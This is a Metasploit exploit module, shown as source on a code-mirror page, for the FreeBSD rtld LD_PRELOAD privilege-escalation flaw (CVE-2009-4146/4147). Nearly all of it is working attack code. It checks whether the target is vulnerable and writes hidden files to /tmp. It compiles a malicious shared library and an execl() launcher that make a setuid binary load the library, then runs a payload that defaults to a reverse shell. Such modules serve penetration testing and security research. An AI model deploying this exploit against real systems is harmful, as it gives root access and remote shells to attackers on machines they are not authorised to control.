Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::Unix
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in the FreeBSD
22
run-time link-editor (rtld).
23
24
The rtld `unsetenv()` function fails to remove `LD_*`
25
environment variables if `__findenv()` fails.
26
27
This can be abused to load arbitrary shared objects using
28
`LD_PRELOAD`, resulting in privileged code execution.
29
30
This module has been tested successfully on:
31
32
FreeBSD 7.2-RELEASE (amd64); and
33
FreeBSD 8.0-RELEASE (amd64).
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Kingcope', # Independent discovery, public disclosure, and exploit
38
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
39
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
40
],
41
'DisclosureDate' => '2009-11-30',
42
'Platform' => ['bsd'], # FreeBSD
43
'Arch' => [
44
ARCH_X86,
45
ARCH_X64,
46
ARCH_ARMLE,
47
ARCH_AARCH64,
48
ARCH_PPC,
49
ARCH_MIPSLE,
50
ARCH_MIPSBE
51
],
52
'SessionTypes' => ['shell'],
53
'References' => [
54
['BID', '37154'],
55
['CVE', '2009-4146'],
56
['CVE', '2009-4147'],
57
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
58
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
59
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
60
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
61
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
62
['URL', 'https://securitytracker.com/id/1023250']
63
],
64
'Targets' => [['Automatic', {}]],
65
'DefaultOptions' => {
66
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
67
'PrependSetresuid' => true,
68
'PrependSetresgid' => true,
69
'PrependFork' => true,
70
'WfsDelay' => 10
71
},
72
'DefaultTarget' => 0,
73
'Notes' => {
74
'Stability' => [ CRASH_SAFE, ],
75
'SideEffects' => [ ARTIFACTS_ON_DISK ],
76
'Reliability' => [ REPEATABLE_SESSION, ]
77
}
78
)
79
)
80
register_options([
81
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])
82
])
83
register_advanced_options([
84
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
85
])
86
end
87
88
def base_dir
89
datastore['WritableDir'].to_s
90
end
91
92
def suid_exe_path
93
datastore['SUID_EXECUTABLE']
94
end
95
96
def upload(path, data)
97
print_status("Writing '#{path}' (#{data.size} bytes) ...")
98
rm_f(path)
99
write_file(path, data)
100
register_file_for_cleanup(path)
101
end
102
103
def check
104
kernel_release = cmd_exec('uname -r').to_s
105
unless kernel_release =~ /^(7\.[012]|8\.0)/
106
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
107
end
108
109
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
110
111
unless command_exists?('cc')
112
return CheckCode::Safe('cc is not installed')
113
end
114
115
vprint_good('cc is installed')
116
117
unless setuid?(suid_exe_path)
118
return CheckCode::Detected("#{suid_exe_path} is not setuid")
119
end
120
121
vprint_good("#{suid_exe_path} is setuid")
122
123
CheckCode::Appears
124
end
125
126
def exploit
127
if !datastore['ForceExploit'] && is_root?
128
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
129
end
130
131
unless writable?(base_dir)
132
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
133
end
134
135
max_len = 1_000
136
if base_dir.length > max_len
137
fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
138
end
139
140
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
141
142
executable_data = <<~LIB
143
#include <stdio.h>
144
#include <stdlib.h>
145
#include <unistd.h>
146
147
void _init() {
148
extern char **environ;
149
environ=NULL;
150
system("#{payload_path} &");
151
}
152
LIB
153
154
executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
155
upload("#{executable_path}.c", executable_data)
156
output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
157
register_file_for_cleanup("#{executable_path}.o")
158
159
unless output.blank?
160
print_error(output)
161
fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
162
end
163
164
lib_name = ".#{rand_text_alphanumeric(5..10)}"
165
lib_path = "#{base_dir}/#{lib_name}"
166
output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
167
register_file_for_cleanup("#{lib_path}.0")
168
169
unless output.blank?
170
print_error(output)
171
fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
172
end
173
174
exploit_data = <<~EXPLOIT
175
#include <stdio.h>
176
#include <stdlib.h>
177
#include <string.h>
178
#include <unistd.h>
179
180
int main() {
181
extern char **environ;
182
environ = (char**)calloc(8096, sizeof(char));
183
environ[0] = (char*)calloc(1024, sizeof(char));
184
environ[1] = (char*)calloc(1024, sizeof(char));
185
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
186
return execl("#{suid_exe_path}", "", (char *)0);
187
}
188
EXPLOIT
189
190
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
191
upload("#{exploit_path}.c", exploit_data)
192
output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
193
register_file_for_cleanup(exploit_path)
194
195
unless output.blank?
196
print_error(output)
197
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
198
end
199
200
upload(payload_path, generate_payload_exe)
201
chmod(payload_path)
202
203
print_status('Launching exploit...')
204
output = cmd_exec(exploit_path)
205
output.each_line { |line| vprint_status line.chomp }
206
end
207
end
208
209